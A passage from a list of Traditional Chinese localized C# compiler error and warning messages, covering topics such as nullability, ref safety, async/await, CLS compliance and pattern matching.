包含萬用字元,但這與確定性不相容。請移除版本字串中的萬用字元,或停用此編譯的確定性。 + 明確介面指定名稱中參考類型可 NULL 性與類型所實作的介面不相符。 + 以陣列做為屬性引數不符合 CLS 規範 + 未使用的外部別名 + 數字無效 + lambda 捨棄參數 + 此內容中此類型的 stackalloc 運算式結果可能會公開在包含方法之外 + 類型變異數 + 目錄不存在 + 為了讓 '{0}' 可以當成最少運算 (short circuit) 的運算子使用,其宣告類型 '{1}' 必須定義運算子 true 和運算子 false + 可處置 + 必須是巢狀的陣列初始設定式 + 只有類別類型可以包含解構函式 + 假設組件參考符合識別 + 組件參考 '{0}' 無效,無法解析 + 推斷委派類型 + 這會透過 ref 參數藉傳址方式傳回參數; 但是只能在 return 陳述式中安全地傳回 + 預設常值沒有目標類型。 + 需要具有右邊類型的運算式,才能解構指派。 + 無效的檔案區段記憶體對齊 '{0}' + 結構內部的匿名方法、Lambda 運算式及查詢運算式,皆無法存取 'this' 的執行個體成員。請考慮將 'this' 複製到匿名方法、Lambda 運算式、查詢運算式或本機函式外部的區域變數,並改用該區域變數。 + 無法指派給 {0} '{1}' 的成員,或將其用在 ref 指派的右邊,因為它是唯讀變數 + '{0}' 的型別中參考型別的可 Null 性與隱含實作的成員 '{1}' 不符合。 + Conditional 成員 '{0}' 無法在類型 '{2}' 中實作介面成員 '{1}' + 傳回型別 '{0}' 中參考型別的可 Null 性與隱含實作的成員 '{1}' 不符合。 + 靜態類別 '{0}' 不可衍生自類型 '{1}'。靜態類別必須衍生自 object。 + 無法以可寫入傳址方式傳回靜態唯讀欄位 '{0}' 的欄位 + 類型 '{0}' 定義於此組件中,但已為其指定類型轉送子 + 無法使用此樣式。switch 運算式的上一個 arm 已處理了此樣式,或其無法比對。 + 運算式太長或太複雜,造成編譯困難 + #pragma 指示詞後面必須有單行註解或行結尾 + '{0}': 事件屬性必須同時要有 add 和 remove 存取子 + 這會藉傳址 '{0}' 傳回參數,但範圍限於目前的方法 + 需要 { 或 ; 或 => + 參考的組件以不同的處理器為目標 + 找不到介面 '{1}' 的 Managed coclass 包裝函式類別 '{0}' (是否遺漏了組件參考?) + '{0}' 未實作 '{1}' 模式,因為 '{2}' 與 '{3}' 之間模稜兩可。 + /langversion 的選項 '{0}' 無效。請使用 '/langversion:?' 來列出支援的值。 + 別名限定的名稱不是運算式。 + 必須是識別項。 + 類型 '{0}' 未定義。 + goto case' 值未隱含轉換成類型 '{0}' + 條件運算式中的指派一律是常數 + Conditional 成員 '{0}' 不可有 out 參數 + 無法在不安全的內容中等候 + 內嵌的陳述式不能為宣告或標記陳述式 + '{0}' 必須允許覆寫,因為包含的記錄並未密封。 + 可為 Null 的實值型別可為 Null。 + 靜態區域函式 + 建構函式標記為外部 + 作業在執行階段可能會溢位 (請使用 'unchecked' 語法覆寫) + 集合初始設定式 + 未定義或匯入預先定義的類型 '{0}' + 自動實作的屬性 + 參考重新指派 + 類型 '{0}' 的運算式無法由類型 '{1}' 的模式處理。請使用語言 '{2}' 版或更新版本,以比對開放式類型與常數模式。 + 以動態方式將呼叫分派至方法 '{0}' 可能會在執行階段失敗,因為有一個或多個適用的多載為條件式方法。 + 類型或成員已經過時 + 建構函式 '{0}' 標記為外部 + '{0}': 靜態類別無法實作介面 + 內嵌 Interop 結構 '{0}' 只可包含公用執行個體欄位。 + 無法從 '{0}' 衍生,因為其為類型參數 + 在 fixed 陳述式中宣告的區域變數類型必須為指標類型 + 外部別名 + XML 註解 cref 屬性中的傳回類型無效 + 無法在此內容中使用類型 '{0}',因為它無法在中繼資料中表示。 + 傳回型別中參考型別是否可為 NULL 的情況,與實作的成員不相符 (可能的原因是屬性可為 NULL )。 + CLSCompliant 屬性在套用至參數時沒有任何意義 + 方法的型別參數條件約束與介面方法的型別參數條件約束不符合。請考慮改用隱含的介面實作。 + as' 運算子的第一運算元不得為不含自然對數的元組常值。 + 檢測設備種類無效: {0} + 已檢查使用者定義的運算子 + 無法在指令碼中宣告命名空間 + 公用、保護或保護內部變數的類型必須符合 Common Language Specification (CLS) 規範。 + '{0}' 的部分宣告出現相 衝突的存取範圍修飾元 + 類型 '{3}' 不可用做為泛型類型或方法 '{0}' 中的類型參數 '{2}'。可為 Null 的類型 '{3}' 無法滿足 '{1}' 的條件約束。 + 無法攔截 nameof 運算子。 + 可能誤用參考比較; 右端需要轉換 + 無法寫入輸出檔 '{0}' -- '{1}' + 應有關鍵字 'this' 或 'base' + EnumeratorCancellationAttribute 不會有任何作用。屬性只有在會傳回 IAsyncEnumerable 的非同步迭代器方法中,在類型 CancellationToken 的參數上才有效 + 傳回型別 '{0}' 中參考型別是否可為 NULL 的情況,與隱含實作的成員 '{1}' 不相符 (可能的原因是屬性可為 NULL )。 + 運算式的結果一律會相同,因為此類型的值絕對不會等於 'null' + 指標元素存取 + '{0}' 不會覆寫 '{1}' 的必要屬性。 + 無法在頂層指令碼中使用 'yield' + Async 方法缺乏 'await' 運算子,將同步執行 + 預先定義的類型定義在全域別名的多個組件中 + 名稱 '_' 參考類型 '{0}',而非捨棄模式。請為類型使用 '@_',或使用 'var _' 捨棄。 + 無法在有 'in' 或 'out' 型別參數的介面中宣告列舉、類別和結構。 + '{0}': 屬性引數不可使用類型參數 + 必須是可多載的運算子 + 無法指派為靜態唯讀欄位 '{0}' 的欄位 (除非在靜態建構函式或變數初始設定式中) + 篩選條件運算式是常數 'true' + 未指定任何原始程式檔。 + '{0}' 的進入點簽章錯誤 + Catch 子句無法接在 try 陳述式的一般 catch 字句之後 + 因為部分方法 '{0}' 有 'virtual'、'override'、'sealed'、'new' 或 'extern' 修飾元,所以其必須有存取範圍修飾詞。 + 參考要編制索引的執行個體的差補字串處理常式轉換無法用於索引子成員初始化程式。 + 遺失引數 + 如果運算式樹狀結構的類型引數 '{0}' 不是委派類型,就無法將 Lambda 轉換成運算式樹狀結構 + 此參考指派的值只能透過 return 陳述式逸出目前的方法。 + 傳回 + 在 Void 指標上未定義有問題的作業 + 委派 '{0}' 沒有叫用方法,或是叫用方法包含了不支援的傳回類型或參數類型。 + 無法從另一個建構的泛型型別建立建構的泛型型別。 + 在明確指派之前會先讀取欄位 '{0}',導致先前隱含的指派為 'default'。 + nameof 運算子 + 無法取得 Managed 類型 ('{0}') 的位址、大小,也無法宣告指向它的指標 + '{0}' 功能不包括在標準化 ISO C# 語言規格中,在其他編譯器上可能無法接受 + 原始程式檔中所提供的屬性 '{0}',與選項 '{1}' 相衝突。 + 在模組上指定的 CLSCompliant 屬性不能與組件上的 CLSCompliant 屬性不同 + 寬鬆移位 (Shift) 運算子 + 參數 {0} 不可以 '{1}' 關鍵字宣告 + '{0}' 使用 'UnmanagedCallersOnly' 屬性化,因此無法轉換為委派類型。取得此方法的函式指標。 + 無法在 finally 子句的主體中等候 + 攔截器方法必須是一般成員方法。 + 在程式控制權脫離目前的方法之前,必須指派 out 參數 '{0}' + 記錄只能繼承自物件或其他記錄 + 必須是物件、字串或類別類型 + 運算式樹狀架構不得包含 with 運算式。 + 連結的 netmodule 中繼資料必須提供完整的 PE 影像: '{0}'。 + 使用未指派的 out 參數 '{0}' + 最好不要定義名為 'global' 的別名 + '{0}': 屬性型別引數不可使用型別參數 + UTF-8 字串常值 + /platform:anycpu32bitpreferred 只可與 /t:exe、/t:winexe 和 /t:appcontainerexe 一起使用 + 方法 '{0}' 缺少 `[DoesNotReturn]` 註釋,與實作或覆寫的成員不相符。 + ref 欄位只能在 ref 結構中宣告。 + '{0}': 具有 ComImport 屬性的類別不可指定基底類別 + 因為 '{1}' 具有 ComImport 屬性,所以 '{0}' 必須為 extern 或 abstract + 內插補點結尾的右括弧數目必須與原始字串常值開頭的 '$' 字元數相同。 + 固定變數 + 名稱 {0} 發生名稱衝突 + 之前的 catch 子句已取得所有屬於此類型或超級類型 ('{0}') 的例外狀況 + 使用可能未指派的欄位 '{0}' + 不可同時提供區塊主體與運算式主體。 + 無法從 C# 使用 System.Void -- 請使用 typeof(void) 取得 void 類型物件 + 提供的文件模式不受支援或無效: '{0}'。 + 運算子 '{0}' 在類型為 '{1}' 的運算元上模稜兩可 + 傳回型別中參考型別的可 Null 性與覆寫的成員不符合。 + 因為指派目標指定了不同的名稱或未指定名稱,所以會忽略元組項目名稱。 + 參考的組件沒有強式名稱 + 部分方法不可明確地實作介面方法 + 參數的 'scoped' 修飾元不符合目標。 + Lambda 運算式 + 無法為 Main 方法使用 '{0}',因為其為匯入物件 + 一元運算子的參數必須為包含類型 + 在控制項傳回呼叫者之前,必須先完全指派欄位 '{0}'。請考慮更新至語言版本 '{1}' 以自動預設欄位。 + 集合初始設定式元素最符合的多載 Add 方法 '{0}' 已經過時。{1} + 從串連產生的字串常數長度超過 System.Int32.MaxValue。請嘗試將字串分割為多個常數。 + 您必須在組件 (而非模組) 上指定 CLSCompliant 屬性,以啟用 CLS 合規性檢查 + 參考組件 '{0}' 沒有強式名稱。 + 命名空間 + 以下方法或屬性之間的呼叫模稜兩可: '{0}' 和 '{1}' + switch 運算式未處理部分 null 輸入 (未徹底處理)。例如,未涵蓋模式 '{0}'。 + 浮點常數的值超出類型 '{0}' 的範圍 + 原始字串常值分隔符號必須位於自己的行。 + 無法從組件 '{2}' 讀取方法 '{0}' 的偵錯資訊 (權杖 0x{1:X8}) + 'UnmanagedCallersOnly' 僅適用於一般靜態非抽象方法、非虛擬方法或靜態區域函式。 + 因為函式指標不是靜態方法,所以無法建立 '{0}' 的函式指標 + /nullable 的選項 '{0}' 無效; 必須為 'disable'、'enable'、'warnings' 或 'annotations' + 無法在不編碼的情況下,對原始程式文字發出偵錯資訊。 + 參數 '{0}' 的 'scoped' 修飾元不符合覆寫或實作的成員。 + 選項 '{0}' 無效; 資源可見度必須是 'public' 或 'private' + 已為 'ref readonly' 參數指定預設值 '{0}',但 'ref readonly' 只能用於參考。請考慮將參數宣告為 'in'。 + 在此內容中使用結果,可能會將參數參考的變數公開在其宣告範圍外 + 因為受限於優先順序,所以無法在此使用運算子。 + 記錄成員 '{0}' 必須為公用。 + 請勿使用 '{0}'。此保留供編譯器使用。 + 無法還原警告,因為已全域予以停用 + 參數會擷取為封閉類型的狀態,其值也可用來初始化欄位、屬性或事件。 + 迭代器的參數清單中不可有 __arglist + '{0}' 未實作介面成員 '{1}'。基底類型所實作之介面中的參考類型可 NULL 性不相符。 + 無法將非同步 {0} 轉換成委派類型 '{1}'。非同步 {0} 可能會傳回 void、Task 或 Task<T>,而這些都無法轉換成 '{1}'。 + 在此內容中使用變數 '{0}',可能會將參考的變數公開在其宣告範圍外 + '{0}' 屬性重複 + 因為類型 '{0}' 有非抽象成員,所以無法內嵌。請考慮將 [內嵌 Interop 類型] 屬性設為 false。 + 無法推斷委派類型。 + 無法使用檔案-本機類型 '{0}',因為無法將包含的檔案路徑轉換成相等的 UTF-8 位元組標記法。{1} + 必須是元素 '{0}' 的結束標籤。 + 前置數字分隔符號 + Nameof 運算子中不可使用類型引數。 + 命名空間 '{1}' 中沒有類型或命名空間名稱 '{0}' (是否遺漏了組件參考?) + '{0}': 不能在建立變數類型的執行個體時,提供引數 + 讀取 Win32 資源時發生錯誤 -- {0} + 全域命名空間中找不到類型名稱 '{0}'。此類型已轉送到組件 '{1}',請考慮加入該組件的參考。 + 無法傳回類型 'void' 的運算式 + ref 或 out 參數不能有預設值 + 找不到類型名稱 '{0}'。此類型已經轉送給組件 '{1}'。請考慮加入該組件的參考。 + Iterator 不可有 by-reference local + 兩個部分方法宣告都必須有完全相同的 'virtual'、'override'、'sealed' 及 'new' 修飾元組合。 + 無法指定 'this' 參數的預設值 + 指定的運算式絕不是提供的 ('{0}') 類型 + XML 註解具有 typeparam 標籤,但是沒有該名稱的類型參數 + 兩個部分方法宣告必須都是 unsafe,或者都不是 unsafe + 聯合指派 + 在標記為符合 CLS 規範的組件中,基底類型標記為不需要符合 Common Language Specification (CLS) 規範。移除指定組件符合 CLS 規範的屬性,或移除指出類型不符合 CLS 規範的屬性。 + 指定的運算式永遠符合提供的常數。 + 具有 vararg 的方法不可為泛型、泛型類型或是具有 params 參數 + 'await' 要求類型 '{0}' 必須要有適合的 GetAwaiter 方法。是否遺漏了 'System' 的 using 指示詞? + 必須是 ; 或 = (無法在宣告中指定建構函式引數) + 無法在此內容中使用結果的成員,因為它會將參數參考的變數公開在其宣告範圍外 + 隱含 Range 索引子的引動過程無法為引數命名。 + 在結構上 + 因為參考型別的可 NULL 性有所差異,所以引數無法用於參數。 + 運算子 True 或 False 的傳回類型必須為 bool + 此建構函式必須新增 'SetsRequiredMembers',因為它鏈結至具有該屬性的建構函式。 + 條件約束不可為特殊類別 '{0}' + '{0}': 在覆寫中,目標執行階段不支援 Covariant 傳回型別。傳回型別必須是 '{2}',才符合覆寫的成員 '{1}' + 參數 '{0}' 的 'scoped' 修飾元不符合覆寫或實作的成員。 + 轉送到組件 '{1}' 的類型 '{0}' 與轉送到組件 '{3}' 的類型 '{2}' 相衝突。 + 引數應為變數,因為它傳遞至 'ref readonly' 參數 + 預設值在此內容中無效。 + ref 欄位不能參考 ref 結構。 + 檔案-本機類型 '{0}' 不能做為非檔案-本機類型 '{1}' 的基底類型。 + 委派 '{0}' 沒有名稱為 '{1}' 的參數 + 'managed' 呼叫慣例不得與未受控的呼叫慣例指定名稱並用。 + 因為同一個函式的指標可能截然不同,所以比較函式指標可能會產生非預期的結果。 + '{0}' 不符合 CLS 規範,因為基底介面 '{1}' 不符合 CLS 規範 + 來源介面 '{0}' 遺漏了內嵌事件 '{2}' 所需的方法 '{1}'。 + 屬性建構函式參數 '{0}' 為選擇性參數,但並未指定預設參數值。 + 運算式樹狀架構 Lambda 不可包含 null 散佈運算子。 + 找不到別名 '{0}' + 成員 '{0}' 的初始設定重複 + 記錄相等 contract 屬性 '{0}' 必須要有 get 存取子。 + /debug 的選項 '{0}' 無效; 必須為 'portable'、'embedded'、'full' 或 'pdbonly' + 您只能取得 fixed 陳述式初始設定式中 unfixed 運算式的位址 + 若要在插入的逐字字串使用 '@$' 而不是 '$@',請使用 '{0}' 或更高的語言版本。 + '{0}': 具有 ComImport 屬性的類別不可指定欄位初始設定式。 + 因為部分方法 '{0}' 有 'out' 參數,所以其必須有存取範圍修飾詞。 + '{0}': 不可在靜態類別中宣告索引子 + CallerArgumentExpressionAttribute 將沒有效果,因為它所套用到的成員是用在不允許選擇性引數的內容 + '{0}' 已列於介面清單中 + Null 指標常數模式 + '{0}': 屬性或索引子至少必須要有一個存取子 + 隱含類型變數不可為常數 + 宣告的變數名稱與基底類型中的變數相同,但未使用 new 關鍵字。此警告是為了通知您應使用 new; 宣告變數的方式就如同宣告中使用了 new。 + 不一致的存取範圍: 傳回類型 '{1}' 比方法 '{0}' 的存取範圍小 + 唯讀結構的執行個體欄位必須為唯讀。 + 不能將 '{1}' 參考指派至 '{0}',因為 '{1}' 的逸出範圍比 '{0}' 還要窄。 + 運算子 '{0}' 無法套用到型別為 '{1}' 的運算元,而 '{2}' 不是 UTF-8 位元組標記法 + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal 來建立字元常值語彙基元。 + 運算式樹狀架構不可包含 System.Index 或 System.Range 索引子存取模式 + 以陣列做為屬性引數不符合 CLS 規範 + 使用未指派的 out 參數 + 不允許在目前的內容中省略型別引數 + 對齊值 {0} 的範圍大於 {1},而且可能會導致大型格式化字串。 + 靜態區域函式不可包含對 'this' 或 'base' 的參考。 + 參數未讀取。 + 運算式樹狀結構不能包含 UTF-8 字串轉換或常值。 + out 變數宣告 + ref 唯讀參數不能有 Out 屬性。 + 與整數常數比較無意義,因為此常數位於類型 '{0}' 的範圍外 + '「實驗」 + 因為組件 '{1}' 的類型 '{0}' 具有屬於內嵌 Interop 類型的泛型類型引數,所以不可跨組件的界限使用。 + 常數值在執行階段可能會溢位 (請使用 'unchecked' 語法覆寫) + Lambda 選用參數 + 無參數結構建構函式 + 一元運算子的其中一個參數必須是包含類型,或其型別參數受其限制。 + 區域函式 '{0}' 已宣告,但從未使用 + as 運算子必須搭配參考類型或可為 Null 的類型一起使用 ('{0}' 是不可為 Null 的實值類型) + 抽象 {0} '{1}' 不可標記為虛擬 + '{0}': 靜態類別不可包含使用者定義的運算子 + 標籤 '{0}' 所包含的範圍內以相同的名稱遮蔽了另一個標籤 + 成員 '{1}' 會覆寫 '{0}'。在執行階段有多個覆寫候選項。呼叫的方法視實作而定。請使用較新的執行階段。 + 結構的執行個體成員內的匿名方法、Lambda 運算式、查詢運算式和區域函式無法存取主要建構函式參數 + 必須是 get 或 set 存取子 + 請勿使用 'System.ParamArrayAttribute'。請改用 'params' 關鍵字。 + 在密封類型中宣告了新的 Protected 成員 + 轉送的類型 '{0}' 與此組件主要模組中所宣告的類型相衝突。 + 兩個組件的版次和 (或) 版本號碼不同。若要進行統一,您必須在應用程式的 .config 檔案中指定指示詞,而且您必須提供組件的正確強式名稱。 + 建構函式 '{0}' 不可透過其他建構函式呼叫自己 + 參考檔 '{0}' 不是組件 + 多載二元運算子 '{0}' 接受兩個參數 + or 樣式 + 區域函式 '{0}' 必須為 'static' 才能使用 Conditional 屬性 + Conditional 屬性在 '{0}' 上無效,因為其為覆寫方法 + 無法取得區域變數 '{0}' 或其成員的位址,這些也無法用於匿名方法或 Lambda 運算式內部 + 必須是 SearchCriteria。 + 介面不能包含執行個體建構函式 + 因為 '{0}' 傳回了 void,所以 return 關鍵字之後不可接著物件運算式 + 使用者定義的運算子無法將類型轉換成本身 + 無法繼續,因為編輯包含內嵌類型的參考: '{0}'。 + 因為未等候此呼叫,所以在呼叫完成之前會繼續執行目前的方法。請考慮將 'await' 運算子套用至呼叫的結果。 + 於配置的 {0} 執行個體的所有參考都超出範圍之前,在該執行個體上呼叫 System.IDisposable.Dispose()。 + 配置的 {0} 執行個體並非沿著所有例外狀況路徑處置。請在其所有參考都超出範圍之前,呼叫 System.IDisposable.Dispose()。 + 要推測的語法節點,不可屬於目前編譯的語法樹狀結構。 + 安全屬性 '{0}' 出現無效的 SecurityAction 值 '{1}' + 無法指派唯讀類型的主要建構函式參數 (類型的 init-only setter 或變數初始設定式中除外) + 靜態區域函式不可包含對 '{0}' 的參考。 + 若要轉換負值,必須以括號括住該值。 + 區域變數名稱 '{0}' 對 PDB 而言太長。請考慮將其縮短,或在編譯時不要使用 /debug。 + 必須是成員定義、陳述式或檔案結尾 + 參數的參考種類修飾詞 '{0}' 不符合覆寫或實作成員中 '{1}' 對應的參數。 + 解構變數不可宣告為參考本機 + 因為未等待此呼叫,所以在完成呼叫之前會繼續執行目前方法 + using 子句必須位於所有其他命名空間中所定義的元素之前 (外部別名宣告除外) + 引數 {0} 應為變數,因為它已傳遞至 'ref readonly' 參數 + await' 運算子只可用在非同步方法中。請考慮以 'async' 修飾元標記此方法,並將其傳回類型變更為 'Task<{0}>'。 + 靜態成員 '{0}' 不能標記為 'readonly'。 + 固定緩衝區只能有一個維度。 + UnscopedRefAttribute 無法套用至具有 'scoped' 修飾元之參數。 + Unboxing 可能 null 值。 + 運算式的結果一律會是 '{0}',因為類型 '{1}' 的值絕對不會等於類型 '{2}' 的 'null' + 變數 + 型別 '{0}' 的值中參考型別可 Null 性與目標型別 '{1}' 不符合。 + 別名 '{0}' 不能搭配 '::' 一起使用,因為別名會參考類型。請改用 '.'。 + 偵測到合併衝突標記 + Friend 組件參考 '{0}' 無效。InternalsVisibleTo 宣告不可指定版本、文化特性、公開金鑰語彙基元或處理器架構。 + 無法透過 ref 參數藉傳址方式傳回參數 '{0}'; 只能在 return 陳述式中傳回 + 使用最上層陳述式的程式必須是可執行檔。 + 這會藉傳址方式傳回本機的成員,但其非參考本機 + 空的字元常值 + 無法合併或複製 'class'、'struct'、'unmanaged'、'notnull' 以及 'default' 條件約束,而且必須先在條件約束清單中指定。 + '{0}' 因為已是組件,所以無法加入此組件中 + 找不到 switch 運算式的最佳類型。 + 對 netmodule 不支援公開簽署。 + '{0}' 已列於類型 '{2}' 的介面清單中,名稱為 '{1}'。 + 參考指派的左側必須為 ref 變數。 + 欄位或屬性不可為類型 '{0}' + 解構左側不允許元組元素名稱。 + 運算式樹狀架構 Lambda 不可包含方法群組 + 應為 'enable'、'disable' 或 'restore' + 在運算式中使用可為 Null 的參考型別 '{0}?' 不合法,請改用基礎類型 '{0}'。 + 無法將委派繫結至 '{0}',因為其為 'System.Nullable<T>' 的成員。 + 方法 + '{0}' 的部分宣告必須要有相同順序的相同類型參數名稱 + __arglist 不得包含 'in' 或 'out' 傳遞的引數 + 此位置不可使用字元 '{0}'。 + await' 運算子只可用在非同步 {0} 中。請考慮以 'async' 修飾元標記此 {0}。 + ref' 擴充方法 '{0}' 的第一個參數,必須是限制為結構的實值型別或泛型型別。 + '{0}' 與函式指標 '{1}' 之間的參考不符 + 無法使用 '{0}' 作為呼叫慣例修飾元。 + 不支援鏈結理論式語意模型。應從非理論式 ParentModel 建立理論式模型。 + 程式已定義了一個以上的進入點。請以 /main 進行編譯,以指定包含進入點的類型。 + 擴充部分方法 + C# 8.0 中無法使用功能 '{0}'。請使用 {1} 或更新的語言版本。 + C# 7.2 無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + 在 C# 7.3 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + C# 7.1 中無法使用 '{0}' 功能。請使用語言版本 {1} 或更高的版本。 + 在此內容中使用變數,可能會將參考的變數公開在其宣告範圍外 + 預期為差補字串 + 無法納入檔案 '{0}' 的 XML 片段 '{1}' -- {2} + 內嵌陣列轉換運算子將不會用於從宣告類型的運算式進行轉換。 + 從模組 '{1}' 匯出的類型 '{0}' 與從模組 '{3}' 匯出的類型 '{2}' 相衝突。 + 不支援字串 'null' 常數做為 '{0}' 的模式。請改為使用空字串。 + 進入點不可為泛型,也不可為泛型類型 + '{0}' 沒有適合的靜態 Main 方法 + 在明確指派欄位 '{0}' 之前會先將控制項傳回呼叫者,導致先前隱含的指派為 'default'。 + 單一元素解構模式需要一些其他語法才能使其明確。建議在右括弧 ')' 後新增捨棄指示項 '_'。 + '{0}' 的完整名稱對於偵錯資訊而言太長。在編譯時請勿使用 '/debug' 選項。 + 在控制項傳回呼叫者之前,必須先在建構函式中完全指派結構的欄位。請考慮更新至語言版本以自動預設欄位。 + 選擇性參數必須出現在所有必要參數之後 + 警告會覆寫錯誤 + 未參考此標籤 + 已宣告變數 '{0}',但從未使用過它 + 使用泛型 {1} '{0}' 時需要 {2} 個類型引數 + 'UnmanagedCallersOnly' 方法 '{0}' 無法在類型 '{2}' 中實作介面成員 '{1}' + 必須是 #endif 指示詞 + goto 不可跳到 using 宣告後的位置。 + 目前方法會呼叫傳回 Task 或 Task<TResult> 的 async 方法,而且不會將 await 運算子套用至結果。呼叫 async 方法會啟動非同步工作。不過,因為未套用 await 運算子,所以程式會繼續進行,而不會等待工作完成。在大多數情況下,該行為不會是您預期的行為。通常,calling 方法的其他層面取決於呼叫結果,或者至少必須先 called 方法,您才能從包含該呼叫的方法傳回。 + +另一個同樣重要的問題是,在 called async 方法中所引發的例外狀況會發生什麼情況。傳回 Task 或 Task<TResult> 之方法中所引發的例外狀況,會儲存在傳回的工作中。如果您不等待工作或明確地檢查例外狀況,則會遺失例外狀況。如果您等待工作,則會重新擲出其例外狀況。 + +最佳做法是一律等待呼叫。 + +只有在確定不想要等待非同步呼叫完成,且 called 方法不會引發任何例外狀況時,才應該考慮隱藏警告。在該情況下,將呼叫的工作結果指派給變數,即可隱藏警告。 + 查詢運算式 + 記錄成員 '{0}' 必須受保護。 + '{0}' 屬性的引數值無效 + 無從驗證的組件不可有處理器專屬的模組 '{0}'。 + 格式規範的尾端不可以是空白字元。 + UnscopedRefAttribute 無法套用到此參數,因為預設是不限範圍。 + new() 的目標類型不可為類型 '{0}' + InterpolatedStringHandlerArgumentAttribute 引數無法參考屬性所使用的參數。 + 已指派變數,但從未使用過其值 + add 或 remove 存取子必須具有主體 + '{0}' 明確方法實作無法實作 '{1}',因為其為存取子 + 成員會在執行階段實作具有多個相符項的介面成員 + XML 註解中的 '{0}' 有重複的 param 標籤 + 列舉程式名稱 '{0}' 已保留,且無法使用 + 運算式樹狀架構 Lambda 不可包含字典初始設定式。 + 差補原始字串常值開頭沒有足夠的 '$' 字元數,因此無法允許這麼多連續的右大括弧做為內容。 + 內嵌陣列 'Slice' 方法將不會用於元素存取運算式。 + 成員 '{0}' 並未隱藏可存取的成員。不需要 new 關鍵字。 + 必須在所有固定引數皆已在動態引動過程中指定之後,具名引數規格才可出現。 + '{0}': 靜態類型不可用做為參數 + 傳遞給 #pragma 警告前置處理器指示詞的號碼不是有效的警告號碼。請驗證號碼代表警告,而不是錯誤。 + 等待於 catch 區塊與 finally 區塊中 + 傳回型別中參考型別是否可為 Null 的情況,與目標委派不相符 (可能的原因是屬性可為 Null)。 + '{0}': 進入點不可為泛型,也不可為泛型類型 + '{0}' 未實作介面成員 '{1}' + '{0}' 未包含 '{1}' 的定義,且最佳擴充方法多載 '{2}' 需要類型 '{3}' 的接收器 + #r 只可用於指令碼中 + 無法將具有動態類型的引數傳遞到具有推斷類型引數的一般區域函式 '{0}'。 + #line 指示詞結束位置必須大於或等於開始位置 + 語法樹狀結構已存在 + 主要建構函式參數由來自基底的成員陰影 + 在控制項傳回呼叫者之前,必須先完全指派自動實作屬性 '{0}'。請考慮更新至語言版本 '{1}' 以自動預設屬性。 + 使用可能未指派的欄位。請考慮更新語言版本以自動預設欄位。 + 可能 null 參考的取值 (dereference)。 + 無效的輸出名稱: {0} + 擁有 ComImport 屬性的類別無法有使用者定義的建構函式 + CollectionBuilderAttribute 方法名稱無效。 + 傳回運算式的類型必須是類型 '{0}',因為此方法藉傳址方式傳回 + 唯讀類型的主要建構函式參數 '{0}' 的成員不能做為 ref 或 out 值 (類型的 init-only setter 或變數初始設定式中除外) + 自動實作的屬性必須要有 get 存取子。 + 識別項 '{0}' 不符合 CLS 規範 + ++ 或 -- 運算子的傳回型別必須符合參數類型,或是衍生自參數類型,或為包含類型的型別參數受其限制,除非參數類型是不同的型別參數。 + 內嵌陣列轉換運算子將不會用於從宣告類型的運算式進行轉換。 + 讀取 '{0}' 的偵錯資訊時發生錯誤 + 運算式樹狀架構不可包含 ref 結構或限制型別 '{0}' 的值。 + 靜態類別不能包含解構函式 + 參數 '{0}' 是參數 '{1}' 上插補字串處理常式轉換的引數,但對應的引數是在插補字串運算式之後指定。重新排序引數,將 '{0}' 移動到 '{1}' 之前。 + 指定的運算式一律會是提供的 ('{0}') 類型 + 不支援原始程式檔參考。 + 參數的參考種類修飾詞不符合隱藏成員中對應的參數。 + '{0}': 靜態類型不可用做為傳回類型 + 在部分結構 '{0}' 的多重宣告中,欄位之間沒有已定義的順序。若要指定順序,所有執行個體欄位都必須在同一個宣告中。 + 不一致的存取範圍: 索引子傳回類型 '{1}' 比索引子 '{0}' 的存取範圍小 + 符合 CLS 規範的欄位不可為 volatile + C# {0} 不支援非逐字差補字串內的新行。請使用語言版本 {1} 或更高版本。 + 不一致的存取範圍: 參數類型 '{1}' 比方法 '{0}' 的存取範圍小 + 樹狀結構必須要有包含 SyntaxKind.CompilationUnit 的根節點 + 只有指派、呼叫、遞增、遞減以及新的物件運算式,可以用做為陳述式 + 套用到參數 '{0}' 的 CallerFilePathAttribute 將沒有作用,因為它套用到不允許選擇性引數的內容中所使用的成員 + params 在此內容中無效 + 運算式樹狀架構 Lambda 不可包含 ref、in 或 out 參數 + 檔案-本機類型 '{0}' 不能用在 'global using static' 指示詞中。 + 無法使用集合初始設定式來初始設定類型 '{0}',因為其未實作 'System.Collections.IEnumerable'。 + 指標類型不允許進行模式比對。 + 類型為 '{0}' 的運算式必須比對提供的樣式。 + 功能 '{0}' 目前處於預覽階段,且*不受支援*。若要使用預覽功能,請使用「預覽語言」版本。 + 多載移位 (Shift) 運算子的第一個運算元的類型必須和包含類型相同 + Auto 屬性初始設定式 + 讀取資源 '{0}' 時發生錯誤 -- '{1}' + 必須是前置處理器指示詞 + 多載移位 (Shift) 運算子的第一個運算元的類型必須和包含的類型相同,或是其型別參數受限於該運算子 + 'await' 不得用於包含類型 '{0}' 的運算式中 + 不可同時對屬性或索引子 '{0}' 的兩個存取子,指定存取範圍修飾元 + 部分方法宣告有簽章差異。 + 模組初始設定式方法 '{0}' 不得為泛型,且不得包含在泛型型別中 + 元組元素名稱不得重複。 + 語言名稱無效 + '{0}': 無法明確呼叫運算子或存取子 + '{0}' 不可同時為外部並具有建構函式初始設定式 + 可為 Null 的實值型別可為 Null。 + 無法藉傳址方式傳回自動實作屬性 + 多行原始字串常值只允許在逐字差補字串中。 + 遺漏了必要的空格。 + 遺漏 '{0}' netmodule 的參考。 + 使用可能未指派的欄位 '{0}'。請考慮更新語言版本 '{1}' 以自動預設欄位。 + '{0}' 會定義 'Equals' 而非 'GetHashCode' + 作業導致了堆疊溢位。 + foreach 反覆運算變數 + '{0}': 無法覆寫; '{1}' 不是事件 + '{0}' 與 TypeForwardedToAttribute 重複 + 固定大小緩衝區的長度必須大於零 + 'await' 不能當做非同步方法或 Lambda 運算式中的識別項使用 + 常數值 '{0}' 不可轉換成 '{1}' (請使用 'unchecked' 語法覆寫) + 識別項不符合 CLS 規範 + 字典初始設定式 + C# 編譯器中的內部錯誤。 + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果,CallerLineNumberAttribute 會覆寫它。 + 這會藉傳址方式傳回參數,但範圍限於目前的方法 + 因為參數 '{1}' 不是 null,所以參數 '{0}' 在結束時必須具有非 Null 值。 + 內插字串 + 並非所有程式碼路徑都會在類型為 '{1}' 的 {0} 中傳回值 + 可能誤用參考比較; 左端需要轉換 + 在基底類型 '{0}' 中找不到可存取的複製建構函式。 + 